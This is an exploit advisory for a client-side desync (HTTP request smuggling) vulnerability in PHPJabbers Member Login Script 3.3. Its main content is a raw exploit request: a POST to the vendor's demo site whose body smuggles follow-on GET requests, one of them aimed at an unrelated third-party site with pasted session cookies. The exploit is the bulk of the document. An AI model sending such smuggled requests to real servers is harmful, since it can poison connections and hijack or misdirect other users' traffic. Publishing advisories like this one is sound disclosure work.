Member Login Script 3.3 - Client-side desync Vulnerability

## Title: Member Login Script 3.3 - Client-side desync
## Author: nu11secur1ty
## Vendor: https://www.phpjabbers.com/
## Reference: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync

## Description:
The server appears to be vulnerable to client-side desync attacks. A
POST request was sent to the path '/1692959852_473/index.php' with a
second request sent as the body. The server ignored the Content-Length
header and did not close the connection, leading to the smuggled
request being interpreted as the next request.

STATUS: HIGH Vulnerability

[+]Exploit:
```
POST /1692959852_473/index.php?controller=pjFront&action=pjActionLoadCss
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Cookie: _ga=GA1.2.2069938240.1692907228;
_gid=GA1.2.1275975650.1692907228; _gat=1;
_fbp=fb.1.1692907228280.366290059;
_ga_NME5VTTGTT=GS1.2.1692957291.2.1.1692957719.60.0.0;
YellowPages=slk3eokcgmdf0r3t7c020quv35;
pjd=g0i8fch5jkebraaaf2812afvb5; pjd_1692957219_259=1
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 1190
Content-Type: application/x-www-form-urlencoded

GET /robots.txt HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0

GET /robots.txt HTTP/2
Host: www.pornhub.com
Cookie: platform=pc; ss=405039333413129808;
fg_0d2ec4cbd943df07ec161982a603817e=60256.100000;
fg_9951ce1ac4434b4ac312a1334fa77d82=6902.100000
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Full-Version: ""
Sec-Ch-Ua-Arch: ""
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Platform-Version: ""
Sec-Ch-Ua-Model: ""
Sec-Ch-Ua-Full-Version-List:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Member-Login-Script-3.3)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/member-login-script-33-client-side.html)

## Time spend:
00:35:00